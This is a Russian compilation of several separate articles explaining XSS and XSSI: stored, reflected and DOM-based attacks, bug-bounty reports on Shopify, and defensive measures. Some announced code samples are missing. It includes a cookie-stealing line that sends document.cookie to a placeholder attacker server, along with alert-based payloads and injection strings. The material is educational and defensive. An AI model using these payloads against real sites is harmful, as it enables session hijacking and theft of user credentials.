В предыдущей статье серии мы начали обсуждение аспектов безопасной эксплуатации веб-сервера Apache с рассмотрения его архитектуры. После этого мы начали рассмотрение дефектов веб-приложений, начав с SQL-инъекций. В данной статье мы перейдем к рассмотрению следующей категории дефектов, связанных с инъекциями: межсайтового скриптинга, известного под аббревиатурой "XSS". Повторю свои слова о том, что ни я, ни журнал LFY не ставим своей целью научить читателей атаковать сервера; эта информация приводится с целью предоставления необходимых знаний для защиты инфраструктуры.
Уязвимости приложений к атакам на основе межсайтового скриптнга (XSS) удерживают вторую позицию в рейтинге десяти самых опасных рисков безопасности веб-приложений от консорциума OWASP, находясь после уязвимостей к атакам на основе SQL-инъекций. (Кстати, первая буква аббревиатуры "X" используется для того, чтобы не путать понятие межсайтового скриптинга с понятием таблиц каскадных стилей "CSS" .) Консорциум, занимающийся проблемами безопасности, сообщает о том, что доля уязвимостей XSS составляет около 39 процентов от всех уязвимостей веб-приложений.
Что понимается под межсайтовым скриптингом?Консорциум OWASP определяет XSS как дефект, при котором приложение включает в состав страницы, отправляемой пользователю, переданные им данные без их предварительной проверки или форматирования. Атаки на основе XSS на самом деле являются атаками на основе инъекций кода, затрагивающими процесс интерпретации отправленной веб-приложением страницы в пользовательском браузере.
Эти атаки в большинстве случаев проводятся в рамках систем онлайн-сообщений, блогов и пользовательских конференций (в совокупности называемых "системами онлайн-сообщений" в статье), в которых сообщения хранятся на постоянной основе. При их создании используются технологии HTML, JavaScript, VBScript, ActiveX, Flash и другие технологии сценариев на стороне клиентов.
Целью атак на основе межсайтового скриптинга является похищение пользовательских аутентификационных данных из кук и любой другой важной информации, которая участвует в процессе аутентификации клиента на веб-сайте. С похищенным (действительным) идентификатором пользователя взломщик может представиться пользователем и похитить его данные.
В отличие от большинства атак, в которых участвуют две стороны (взломщик и веб-сайт или взломщик и жертва/клиент), атака на основе межсайтового скриптинга предполагает участие трех сторон: взломщика, жертвы/клиента и веб-сайта.
В ходе атаки на основе межсайтового скриптинга действительному пользователю предоставляется ссылка, расположенная в системе онлайн-сообщений и ведущая на безопасный на первый взгляд сайт, но на самом деле содержащая закодированный сценарий, который выполняется как только пользователь переходит по ней. Этот на первый взгляд безопасный веб-сайт может быть (и является в большинстве случаев) клоном просматриваемого пользователем сайта для осуществления фишинг-атаки; в этом случае он запросит имя пользователя и пароль. В другом случае этот веб-сайт может представлять собой страницу с благодарностью, с помощью которой производится незаметное похищение кук пользователя в фоновом режиме.
| Фишинг является методом атаки в Интернет, при которой пользователь вводит важную информацию (такую, как имя и пароль)на созданном злоумышленником веб-сайте, который практически полностью копирует внешний вид веб-сайта, которому доверяет пользователь. Пользователь направляется на такие сайты по ссылкам из массово рассылаемых сообщений посредством электронной почты, системы мгновенных сообщений, и.т.д. Большинство таких атак может быть проигнорировано с помощью тщательной проверки ссылок и отказа перехода по сомнительным ссылкам; следует также проверять строку URL (адресную строку) браузера чтобы убедиться в том, что вы работаете с доверенным сайтом перед вводом идентификационных данных. |
Код эксплоита для атак на основе межсайтового скриптинга обычно (но не всегда) разрабатывается с использованием HTML/JavaScript для исполнения в браузере жертвы атаки. Сервер используется только для хранения вредоносного кода. Взломщик использует только надежные веб-сайты в качестве площадок для проведения атаки.
Типичные атаки на основе межсайтового скриптинга являются результатом недоработок в веб-приложениях на стороне сервера и заключаются в недостаточной обработке введенных пользователем данных в плане удаления управляющих символов HTML. Если взломщикам удастся вставить произвольный HTML-код, они могут контролировать процесс исполнения страницы с правами, заданными для сайта. Часто встречающимися местами, предоставляющими взломщикам возможность для проведения атак являются страницы с "подтверждением" или "выводом результатов" (примером являются поисковые машины, выводящие пользовательский запрос) или страницы ошибок для форм, помогающие пользователям, заполняя поля формы корректно введенными данными.
Следующая простейшая PHP-страница уязвима для XSS-атак!
Как только осуществляется доступ на страницу, содержащую этот код, переменная, переданная при помощи метода GET (строки запроса) без изменений выводится на страницу, генерируемую при помощи PHP. Если вы передадите корректные данные (например, строку "Arpit Bajpai") в качестве аргумента, URL будет выглядеть следующим образом: http://localhost/hello.php?name=Arpit%20Bajpai (с учетом того, что вы используете сервер, установленный на вашем компьютере, что стоит сделать для тестирования этих примеров). Вывод этого запроса безопасен и показан на Рисунке 1.
Рисунок 1: Безопасная передача данных
Теперь проведем небольшое вмешательство в URL, изменив его следующим образом: http://localhost/hello.php?name=Hacked .
Результат показан на Рисунке 2. Он все еще кажется безвредным, но тот факт, что вводимые данные не проверяются PHP-сценарием перед отправкой их браузеру пользователя говорит о том, что есть возможность осуществить вставку более опасного кода в состав уязвимой страницы.
Рисунок 2: Необработанный вывод
Как и в большинстве случаев, главной целью XSS-атаки является похищение кук с идентификационными данными пользователей. Ниже показан классический пример попытки организации атаки путем размещения вредоносного JavaScript-кода в системе онлайн-сообщений и сбора данных из пользовательских кук. document.location="http://attackerserver/cookie.php?c="+document.cookie
Когда жертвы проходят по ссылке, содержащей этот вредоносный код, они перемещаются на домашнюю страницу, но данные из их кук передаются специальному сценарию на языке PHP, cookie.php , предназначенному для сборки кук и расположенному на сервере злоумышленника. Код стандартного сценария для сборки кук должен быть аналогичен представленному ниже:
В ходе работы этого сценария в файле cookies.html сохраняются данные, включающие в себя IP-адрес жертвы, дату и время получения данных из кук и адрес страницы, с которой был осуществлен переход по вредоносной ссылке, указывающей на сценарий cookie.php .
Воспользовавшись этой информацией, взломщик впоследствии может перейти на сайт системы онлайн-собщений и использовать полученные данные из кук, что позволит ему представиться пользователем, ставшим жертвой атаки.
На данном этапе сообразительные пользователи могут отнестись с подозрением к переходу на домашнюю страницу или заподозрить неладное, основываясь на том, что данный переход не свойственен для корректной работы веб-приложения. Для атак в отношении таких пользователей взломщики в большинстве случаев предпочитают использовать в сценариях тэг IFRAME аналогичным показанному ниже способом:
Когда жертва переходит по ссылке с приведенным кодом, расположенной в сообщении, не происходит ничего необычного - правда при этом данные из кук передаются сценарию cookie.php на сервере взломщика. Это принцип действия классических атак, основанных на межсайтовом скриптинге.
Типы XSS-уязвимостейБольшинство XSS-уязвимостей можно разделить на три категории на основании того, как взломщики обходят обработку вредоносного кода веб-приложением. Эти категории:
Давайте рассмотрим каждую категорию по очереди.
Постоянно существующие или хранимые уязвимости
Постоянно существующие XSS-уязвимости являются наиболее мощными и эффективными из всех. Они присутствуют в том случае, если данные, передаваемые веб-приложению пользователем вначале помещаются на постоянное хранение на сервере (в базу данных, файловую систему или другое хранилище), а затем выводятся пользователям в виде веб-страницы без должной обработки.
Сценарий атаки на систему онлайн-сообщений, приведенный ниже, является классическим примером подобной ситуации. Схема атаки, основанной на постоянно существующей уязвимости, показана на Рисунке 3.
Рисунок 3: Схема атаки с использованием постоянно существующей уязвимости
В начале атаки взломщик внедряет вредоносный сценарий с помощью веб-формы ввода данных. После этого внедренный код сохраняется в базе данных сервера. Когда любой пользователь открывает страницу, вредоносный код исполняется. Любой пользователь, который переходит по ссылке (или всего лишь просматривает сообщение в случае атаки с использованием тэга IFRAME) становится жертвой атаки, так как вредоносный код исполняется в его браузере и отправляет его аутентификационные данные взломщику.
Это тип атаки очень эффективен, так как взломщик может атаковать ряд пользователей сервера - всех тех, кто переходит по ссылке или просматривает сообщение.
Непостоянно существующие или отраженные уязвимости
Непостоянно существующие XSS-уязвимости являются на данный момент наиболее эксплуатируемыми. Этот тип XSS-уязвимостей чаще всего возникает из-за того, что сценарии в ходе генерации документов в формате HTML выводят пользовательские данные без дополнительной обработки.
Например, взломщик находит XSS-уязвимость в веб-приложении, заключающуюся в том, что сценарий выводит отправленный запрос вместе с результатом его выполнения. Обычно используемый URL сайта при осуществлении запроса выглядит следующим образом: http://www.example.com/search.php?query=products . В нормальных условиях в ответ на этот запрос выводится список доступных продуктов. Как только взломщики находят уязвимость, они могут отправить модифицированную ссылку (с измененными значениями известных переменных) жертве атаки, преследуя цель похищения аутентификационных данных: http://www.example.com/search.php?query=alert(document.cookie) .
Переход по этой ссылке приведет к выводу браузером жертвы атаки окна сообщения с данными из кук. Приведенный выше пример безопасен: взломщик может причинить гораздо больший ущерб, похитив пароли, изменив адрес домашней страницы или переместив жертву атаки на другой веб-сайт, используя модифицированный код JavaScript.
Схема атаки, основанной на отраженной уязвимости показана на Рисунке 4.
Рисунок 4: Пошаговая иллюстрация процесса атаки, основанной на отраженной уязвимости
В наши дни встраивание в код ссылки таких объемных сценариев может привлечь внимание потенциальных жертв атаки, поэтому взломщики просто преобразовывают их в шестнадцатеричный формат с помощью множества доступных конвертеров, таких, как представленный по ссылке http://code.cside.com/3rdpage/us/url/converter.html . Более того, если вредоносный сценарий достаточно велик, используются сервисы для сокращения длины URL, такие, как Tiny URL, после чего создается короткий URL, указывающий на длинный.
Уязвимости модели DOM или локальные уязвимости
Уязвимости модели DOM существуют в HTML-коде сайта (в статических сценариях) и могут эксплуатироваться непостоянно. В качестве простого примера уязвимости модели DOM можно привести статический сценарий, встроенный в страницу, который при исполнении использует функцию DOM, такую, как document.write для вывода значения переменной pos.
Единственным отличием уязвимости модели DOM от других типов является то, что сервер не возвращает результатов запроса; наоборот, происходит локальная обработка данных при помощи функций DOM и вредоносный сценарий исполняется с такими же правами, что и веб-браузер на машине жертвы атаки. Представьте ситуацию, при которой уязвимый сайт содержит следующую страницу (с названием, например, http://www.example.com/welcome.html):
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
Welcome to our site
...
В нормальных условиях на данной странице будет выведено приветствие для пользователя при переходе по следующему URL: http://www.example.com/welcome.html?name=Joe .
Однако, небольшое вмешательство в URL приводит к отображению данных из кук пользователя в окне предупреждения браузера в том случае, если он перейдет по следующей ссылке: http://www.example.com/welcome.html?name=alert(document.cookie) .
При открытии данной ссылки браузер пользователя отправляет HTTP-запрос сайту с именем www.example.com . В ответ он получает статическую HTML-страницу с представленным выше содержанием. После этого браузер жертвы начинает преобразование HTML в DOM. В данном случае код ссылается на переменную document.URL , поэтому часть строки запроса сохраняется при разборе HTML. После этого происходит исполнение в контексте страницы вредоносного JavaScript-кода, переданного в составе URL, что и позволяет провести XSS-атаку.
Вы должны понимать, что запрос в полном объеме достигает сервера (в строке HTTP-запроса), поэтому данный тип XSS-атаки, как и любой другой, может быть идентифицирован - но взломщики предусматривают даже эту возможность, формируя запрос в следующей форме: http://www.example.com/welcome.html#name=alert(document.cookie) .
Следует учитывать, что в этом случае используется символ решетки (#); с помощью него браузеру сообщается о том, что данные после этого символа являются фрагментом и не являются частью запроса. Браузеры IE (6.0) и Mozilla не отправляют фрагмент серверу, поэтому в случае использования данных браузеров сервер получит только следующую часть запроса: http://www.example.com/welcome.html , а остальные данные будут скрыты.
Тенденции в области XSS-атакXSS -атаки с использованием мета-информации (miXSS)
Это новый тип XSS-уязвимостей, появившийся недавно и использующий уязвимости утилит для сетевого администрирования. Эту уязвимость можно обнаружить в коде серверов, использующих корректные пользовательские запросы для сбора данных и вывода их пользователю. Атаки на основе межсайтового скриптинга проводятся при использовании этих данных. При этом взломщики могут получить информацию о утилитах сетевого администрирования. Веб-сайты, которые позволяют провести разрешение DNS и веб-сайты, которые проверяют записи SPF наиболее подвержены miXSS-атакам. Для того, чтобы узнать больше данном типе атак, обратитесь к списку дополнительных ресурсов в конце статьи.
XSS Shell
XSS Shell является инструментом для установления XSS-канала между жертвой атаки и взломщиком, причем взломщик может управлять браузером при помощи команд. Обмен данными является двухсторонним.
XSS Tunnel
Это программа с открытым исходным кодом на.NET, распространяемая под лицензией GPL и являющаяся обычным HTTP-прокси, работающим в системе взломщика. Она позволяет передавать HTTP-трафик через туннель в виде XSS-канала и теоретически может использоваться вместе с любым приложением, работающим с HTTP-прокси.
DDoS-атаки при помощи XSS
Тенденции развития XSS-атак указывают на то, что взломщики используют уязвимые сайты в качестве начального шага при проведении распределенных атак отказа в обслуживании. Они предлагают пользователям скачать и установить дополнения для браузера. Когда пользователь переходит по ссылке, вместе с дополнением для браузера в его систему (в большинстве случаев) в фоновом режиме устанавливается вредоносное ПО в виде червя или бота. Это ПО может предоставить взломщику неограниченные права в пользовательской системе, поэтому взломщик может использовать систему для проведения атак отказа в обслуживании или для построения ботнета.
Противодействие XSS-атакамАтаки на основе межсайтового скриптинга потенциально опасны для большинства веб-серверов и браузеров. Взломщики постоянно изобретают все новые типы атак, но следующие мероприятия могут помочь вам в защитите системы от этих атак.
Мероприятия для клиентов или пользователей
Следует серьезно и тщательно рассматривать все сообщения электронной почты, содержащие длинные, объемные и подозрительные ссылки. Не стоит переходить по этим ссылкам, даже если они ведут на известные сайты, которым вы доверяете. Во многих подобных сообщениях применяются различные хитрости для того, чтобы убедить вас пройти по ссылке. В некоторых сообщениях содержатся предложения об улучшении вашего материального состояния и независимости; другие сообщения содержат предупреждения о том, что вы можете потерять свою учетную запись (действительную) на веб-сайте, если "немедленно не подтвердите информацию о вашем имени пользователя и пароле". Серьезно подумайте перед переходом по таким ссылкам, особенно с учетом той информации, которую вы почерпнули из данной статьи. Очевидно, что точно такие же меры предосторожности следует предпринимать по отношению к сообщениям в системах онлайн-сообщений и социальных сетях.
Современные версии браузера Mozilla Firefox достаточно безопасны. Например, Firefox автоматически кодирует символы < и > (в последовательности %3C и %3E соответственно) в параметре document.URL в случае, когда URL не введен напрямую в адресную строку. Таким образом, данный браузер не уязвим к атакам, проводимым с использованием модели DOM. Для повышения безопасности работы браузера следует также установить дополнения (расширения), такие, как NoScript, FlashBlock и панель инструментов Netcraft.
Вы также можете попробовать браузер Google Chrome, имеющий встроенную защиту от XSS-атак.
Если у вас появилась сомнительная ссылка и вы хотите перейти по ней, при этом не используя браузер Firefox с расширением NoScript, вам необходимо отключить JavaScript, Java (и Active X если вы работаете в ОС Windows) перед переходом. Также вы можете перейти по ссылке, вручную вписав ее в адресную строку браузера.
Если при создания ссылки использовался сервис по сокращению длины URL, такой, как "tiny", "tinyurl", "bit.ly", "is.gd", "shorturl", "snipurl", и.т.д., будьте осторожны. Вы можете даже установить второй браузер для посещения "ненадежных" сайтов; не входите на доверенные или важные сайты с помощью этого браузера, а используйте его только для переходов по подозрительным ссылкам. Если с помощью URL действительно будет проведена атака, и даже в случае ее успешного завершения, у взломщика не будет практически никакой важной информации из кук.
Для разработчиков
Лучшим способом проверки вашего веб-сайта на уязвимости является запуск тестирования безопасности локальной копии используемого веб-приложения. Лучшим свободным проектом для этой цели является Nikto .
Следующим важным действием является фильтрация всех подозрительных данных, основанная на HTML-контексте (body, attribute, JavaScript, CSS или URL), в котором они будут размещены. Разработчикам следует организовать данную функцию в своих приложениях. Обратитесь к шпаргалке по предотвращению XSS-атак от OWASP для получения подробной информации о техниках фильтрации данных.
Фильтрация вывода сценариев также позволяет нейтрализовать XSS-уязвимости, предотвращая передачу специально сформированных последовательностей пользователю. При фильтрации динамически формируемых страниц выбирайте множество символов, использование которых безопасно, вместо того, чтобы пытаться исключить множество символов, использование которых может быть небезопасным. Первый вариант предпочтительнее, так как обычно не известно, существуют ли другие комбинации символов или последовательностей символов, позволяющие эксплуатировать другие уязвимости.
Проверяйте все заголовки, куки, строки запросов, формы, скрытые поля и другие возможные параметры на наличие таких тэгов, как , , , и . Также не выводите никаких введенных значений без фильтрации.
Не храните пароли или другие данные в куках без шифрования или с применением нестойкого алгоритма шифрования. Простое хеширование пароля с использованием алгоритма MD5 не является безопасным, поскольку длина хэша составляет всего 16 байт и его расшифровка возможна при помощи метода перебора вариантов.
Если это возможно и осуществимо, данные аутентификации в куках должны быть ассоциированы с IP-адресом клиента. Обнаружение идентичных данных кук, отправленных с другого IP-адреса, должно восприниматься как попытка проведения атаки.
Если это возможно, следует устранить возможность использования единой системы аутентификации и активировать систему повторных проверок паролей для предотвращения атак перехвата сессии. Атака против сайта с единой системой аутентификации имеет большие шансы остаться незамеченной для пользователя.
Использование бесплатных хостингов является основным этапом при реализации взломщиком схемы атаки. Обслуживающий персонал сайтов бесплатного хостинга должен быть более бдительным в отношении того, кто использует их сервисы, и должен блокировать подозрительные IP-адреса. Также в том случае, если на хостинге используются сценарии для сбора данных из кук, должен проводиться мониторинг для выявления подобных действий.
Куки, отправленные по протоколу HTTPS недоступны сценариям при помощи свойства document.cookie , поэтому постарайтесь отправлять куки только по протоколу HTTPS. Также постарайтесь использовать для передачи форм метод POST вместо GET.
ИнструментыПоскольку XSS-атаки требуют участия пользователя, их количество напрямую зависит от крайней внимательности пользователей. Для получения более подробной информации о XSS-атаках и методах защиты от них, не забудьте рассмотреть раздел дополнительных ресурсов ниже. Мы рассотрим другие опасные типы атак на веб-приложения и Apache в следующей статье. Между тем, вы можете оставить ваши вопросы и конструктивную критику в разделе комментариев ниже.
Всегда помните: нужно знать все о взломе, не не заниматься им.
Дополнительные ресурсы:
Про возможность получения различной информации со сторонних сайтов с помощью простой атаки - Cross Site Scripting Inclusion (XSSI).
Если ты читаешь Easy Hack систематически, то, наверное, уже хорошо знаком с Same Origin Policy (SOP), мы к нему часто возвращаемся. Из-за SOP возможность взаимодействия между двумя «сайтами» очень ограничена. Но так как задача получения и оправки информации на одном сайте с другого возникает часто, то были внедрены различные методы для «смягчения» политики и организации взаимодействия. Например, такие, как CORS или crossdomain.xml. Один из более старых методов - подгрузка JavaScript с другого домена через тег . SOP нас здесь ничем не ограничивает: можно указать практически произвольное месторасположение.
К примеру, есть хост атакующего evil.ru и сайт жертвы - victim.com. На evil.ru мы можем положить файл HTML и сослаться на любой скрипт у жертвы:
При входе пользователя на сайт атакующего браузер подгрузит и запустит JS с victim.com, но в контексте SOP evil.ru. Это значит, что из JS самого атакующего мы сможем получить доступ к данным (не всем) JS с сервера жертвы.
Например, содержимое JS c cайта-жертвы (http://victim.com/any_script_.js):
Var a = "12345";
Тогда на сайте атакующего мы можем получить значение переменной:
console.log(a);
Идея работы проста, как алюминиевый чайник.
По сути, возможность подгружать с других сайтов статический JS несет в себе не больше проблем для сайта-жертвы, чем погрузка картинки.
Проблемы могут возникнуть, когда JS формируется динамически, то есть когда контент JS-скрипта меняется на основании данных из cookie в зависимости от того, какой пользователь к нему обращается. Например, в JS хранится какая-то «критичная» информация: персональные сведения (email, имя пользователя на сайте-жертве) или техническая инфа (анти CSRF-токены).
Но, как мы знаем, при подгрузке скрипта через тег браузер пользователя автоматически отправляет cookie пользователя. Сложив эти факты, мы получаем возможность получать информацию о любом пользователе, который зашел на сайт атакующего и при этом залогинен на сайте-жертве.
Что же мы можем узнать? Глобальные переменные и результаты работы глобальных функций. К сожалению, доступа к внутренним переменным/функциям нам не получить (хотя, возможно, кто-то найдет способ сделать и это).
Function test(){ return "private data frm function"; }
Такая атака выглядит возможной, но кажется, что она слишком проста и не должна быть распространенной. Этим и интересна презентация на Black Hat. Исследователи проанализировали 150 популярных сайтов и обнаружили, что в той или иной мере уязвима треть из них. Такая статистика заставляет взглянуть на проблему чуть более пристально.
Была выявлена и еще одна закономерность. Content Security Policy становится все более распространенной. Как ты знаешь, с ней мы можем указать, с каких доменов может быть подгружен тот или иной ресурс. Например, можно сказать исполнять JS только с того же ресурса. Кроме того, лучшие практики настройки CSP подразумевают запрет на запуск inline JS (то есть кода, который находится прямо в HTML, а не подгружен из JS-файла).
Однако перенос inline в файлы может быть сделан с костылями и на скорую руку - то есть посредством динамически генерируемых скриптов. Так как CSP никак не влияет на XSSI, мы опять-таки можем проводить наши атаки. Вот такая вот bad practice.
Межсайтовый скриптинг, или Cross site scripting, или XSS, предполагает наличие сайта, подключающего непредусмотренный код Javascript, который, в свою очередь, передается пользователям, исполняющим этот код в своих браузерах. Безобидный пример XSS (именно такой вы должны использовать!) выглядит так:
alert(‘XSS’);
Это создаст вызовет функцию Javascript alert и создаст простое (и безобидное) окошко с буквами XSS. В предыдущих версиях книги я рекомендовал вам использовать этот пример при написании отчетов. Это было так, пока один чрезвычайно успешный хакер не сказал мне, что это был “ужасный пример”, объяснив, что получатель отчета об уязвимости может не понять опасность проблемы и из-за безобидности примера выплатить небольшое вознаграждение.
Таким образом, используйте этот пример для обнаружения XSS-уязвимости, но при составлении отчета подумайте о потенциальном вреде, который может нанести уязвимость и объясните его. Под этим я не подразумеваю рассказ компании о том, что же такое XSS, но предлагаю объяснить, чего вы можете добиться, используя уязвимость и как конкретно это могло отразиться на их сайте.
Существует три различных вида XSS, о которых вы могли слышать при исследовании и написании отчетов:
Если вы нашли ситуацию, в которой Self XSS может быть выполнен, но не сохранен, подумайте о том, как может быть использована эта уязвимость, сможете ли вы использовать её в комбинации с чем-либо, чтобы она уже не была Self XSS?
Один из самых известных примеров использования XSS - MySpace Samy Work, выполненный Сами Камкаром. В октябре 2005 Сами использовал уязвимость stored XSS на MySpace, что позволило ему загрузить код Javascript, который выполнялся каждый раз, когда кто-нибудь посещал его страницу MySpace, добавляя посетителя страницы в друзья профиля Сами. Более того, код также копировал себя на страницы новых друзей Сами таким образом, чтобы профили новых его друзей обновлялись со следующим текстом: “but most of all, samy is my hero”.
Хотя пример Сами был относительно безобидным, использование XSS позволяет красть логины, пароли, банковскую информацию, и так далее. Несмотря на потенциальный вред, исправление XSS-уязвимостей, как правило, не является сложным и требует от разработчиков просто экранировать пользовательский ввод (прямо как в HTML-инъекции) при его отображении. Хотя, некоторые сайты так же убирают потенциально вредоносные символы, когда хакер их отправляет.
1. Распродажа ShopifyСложность:
Низкая
Url:
wholesale.shopify.com
Ссылка на отчет:
https://hackerone.com/reports/10629326 Дата отчета: 21 декабря 2015
Выплаченное вознаграждение:
$500
Описание:
Сайт распродажи Shopify27 является простой страницей с прямым призывом к действию - введите название товара и нажмите “Find Products”. Вот скриншот:
Скриншот сайта распродаж wholesale
XSS-уязвимость здесь была самой простой, какую только можно найти - текст, введенный в поисковую строку не был экранирован, так что исполнялся любой введенный Javascript. Вот отправленный текст из описания уязвимости: test’;alert(‘XSS’);’
Причина того, что это сработало, в том, что Shopify принимал пользовательский ввод, выполнял поисковый запрос и при отсутствии результатов, печатал сообщение, сообщающее об отсутствии результатов поиска по введенному запросу, показывая на странице не экранированный пользовательский ввод. В результате, отправленный Javascript рендерился на странице и браузеры интерпретировали его как исполняемый Javascript.
ВыводыТестируйте все, уделяйте особое внимание ситуациям, где введенный текст рендерится на странице. Проверяйте, можете ли вы включить в ввод HTML или Javascript, и смотрите, как сайт обрабатывает их. Так же пробуйте закодировать ввод подобно тому, как описано в главе, посвященной HTML-инъекциям.
XSS-уязвимости не должны быть сложными или запутанными. Эта уязвимость была самой простой, какую можно представить - простое поле для ввода текста, которое не обрабатывает пользовательский ввод. И она была обнаружена 21 декабря 2015, и принесла хакеру $500! Все, что потребовалось - хакерское мышление.
2. Корзина подарочных карт ShopifyСложность:
Низкая
Url:
hardware.shopify.com/cart
Ссылка на отчет:
https://hackerone.com/reports/9508928 Дата отчета: 21 октября 2015
Выплаченное вознаграждение:
$500
Описание:
Сайт магазина подарочных карт Shopify29 позволяет пользователям создавать собственное оформление для подарочных карт с помощью HTML-формы, включающей в себя окошко загрузки файла, несколько строк для ввода текста деталей, и так далее. Вот скриншот:
Скриншот формы магазина подарочных карт Shopify
XSS-уязвимость здесь срабатывала, когда в поле формы, предназначенное для названия изображения, вводили Javascript. Это довольно легко сделать, используя HTML прокси, о которых мы поговорим позднеев главе “Инструменты”. Итак, оригинальная отправка формы включала:
Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file ] ” |
Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file < img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”; |
Здесь можно подметить две вещи, которые помогут обнаруживать XSS-уязвимости.
Cтатья \"Обеспечение безопасности веб-сайтов\" предоставлена Sophos Plc и SophosLabs.
Декабрь 2007 г.
Данный вид атак направлен на веб-сайты, отображающие вводимые пользователями данные. Вместо попытки получения контроля над базой данных путем ввода вредоносного кода злоумышленник пытается атаковать код самого веб-сайта, внедряя в него вредоносные сегменты.
Многие сайты хранят имена всех посетителей в базе данных, чтобы иметь возможность отображать их при вводе соответствующих пользователей. Злоумышленник может создать подложную учетную запись, разместив при этом в поле имени вредоносный код. Подобные атаки обычно реализуются с помощью вредоносных скриптов на языке Javascript, которые затем загружают контент с другого веб-сайта. Предполагается, что в базе данных хранится имя пользователя, но на самом деле в данном случае это будет вредоносный код. Соответственно, если веб-сайт отображает имя пользователя в верхней части страницы, то этот код будет выполнен. Поскольку при наличии определенных условий такой код может делать практически все, что угодно, угроза становится вполне реальной; тем не менее, разработчики зачастую про нее забывают. За последнее время жертвами XSS-атак стали многие популярные веб-сайты, в том числе MySpace, Facebook, Google Mail, ВКонтакте.
Примечание.
Рассмотрим следующий PHP-код:
$firstname = $_POST[\"firstname\"]; echo \"Your name: $firstname\";
После ввода имени в веб-форме сайт отображает на странице соответствующее сообщение. Если указать в форме имя «Chris» , то сообщение будет иметь следующий вид: «Your name: Chris» .
Что произойдет, если вместо имени ввести следующую конструкцию: «alert („You just got hacked!“ ) ;» ?
К сожалению, XSS-атакам зачастую трудно что-либо противопоставить, поскольку для этого необходимо должным образом фильтровать вводимые и выводимые данные, а также все поля, которые могут меняться пользователями. Сюда относятся данные, получаемые из запросов GET и POST, а также запросы, возвращаемые из базы данных.
В PHP имеется целый ряд пакетов, которые помогают фильтровать выводимые данные, например, CodeIgniter Также в PHP имеется встроенная функция htmlspecialchars , которую можно использовать для фильтрации выводимых данных.
Здравствуйте уважаемые читатели моих компьютерных опусов. Сегодня я хотел бы вам рассказать о такой штуке, как . Что такое XSS-уязвимость?
XSS – это аббревиатура, которая расшифровывается как Cross Site Scripting . Если по-русски, то это «межсайтовый скриптинг» Все понятно? Правда, не очень? Я тоже, когда в первый раз прочитал такое определение, ничего не понял. Но двинемся дальше, к пониманию сути проблемы 🙂
Хотя по идее надо бы аббревиатуру писать как CSS, но ведь такая аббревиатура уже есть, и обозначает она каскадные таблицы стилей, которые широко используются в веб-програмировании. Поэтому новое понятие решили обозначить как XSS.
XSS-уязвимость – это уязвимость на сервере, которая позволяет внедрить в генерируемую и затем передаваемую пользователю страницу формата HTML некий произвольный код, порой весьма вредоносный. Причем подчеркну – код внедряется не в сам скрипт, а именно в страницы, передаваемые пользователям . Так что сервер как таковой опасности не подвергается, подвергаются ей только посетители сайта.
Для проведения атаки используется так называемая нефильтруемая переменная – такая переменная, которая перед ее использованием в скрипте не проверяется на корректность и наличие в ней запретных символов. Вначале значение данной переменной передается от страницы, загруженной в браузере пользователя, некоторому PHP-скрипту. А если киберпреступник — хакер подставит в передаваемые значения некоторый код, то данный код выполнится интерпретатором без всяких условий. Вот так, довольно просто и не особо напрягаясь. Достаточно лишь найти эту самую XSS-уязвимость.
Как используется XSS-уязвимость.
В основном XSS-уязвимость используется для кражи так называемых cookies . В них хранятся текущие сессии пользователей. Присвоив себе данную сессию, хакер может до ее окончания выступать владельцем вашего почтового ящика, сайта или подобных сервисов, где используется авторизация пользователей через веб-браузер. Также в кукисах хранится пароль от аккаунта (правда, в зашифрованном виде). Если его удастся расшифровать, хакер полностью получает доступ к аккаунту пользователя.
Какие действия осуществляют хакеры, используя XSS-уязвимость.
Что же еще можно осуществить, имея на руках XSS-уязвимость и зная, как ею пользоваться? О, тут фантазия хакеров неистощима. В первую очередь – это всевозможные подлянки для нерадивых ламеров 🙂
К примеру, можно вывести на экран бесконечное число сообщений, окон и прочего в ответ на любое действие пользователя, даже в ответ на его заход на сайт.
Можно также переадресовать пользователя на другой ресурс (к примеру – фишинг овый), где, пользователь, авторизовавшись, передаст в руки злоумышленников свои пароли и логины в открытом виде .
При наличии XSS-уязвимости у злоумышленника также появляется возможность, помимо кражи coocies, осуществить кражу конфиденциальной информации – об установленной операционной системе, текущем IP-адресе, посещенных пользователем сайтах, о браузерах, используемых на компьютере , да много еще чего можно «присвоить».
Еще можно заставить выполняться любой зловредный (или не зловредный, на усмотрение хакера) скрипт, который располагается на каком-нибудь удаленном сервере. Пользователь, загрузив себе зараженную страницу, переадресуется на любой другой сервер, откуда начинается загрузка скриптов, указанных в уязвимости.
Еще, если пользователь пользуется уязвимыми браузерами, то у злоумышленника есть возможность запуска на удаленной машине произвольного кода – шелла или использовать эксплоит для доступа к машине пользователя.
Вот на этом я и закончу обзор основных возможностей на тему . Кому интересно - прошу в вики и специализированные сайты. А моя задача — лишь дать пишу для размышлений…
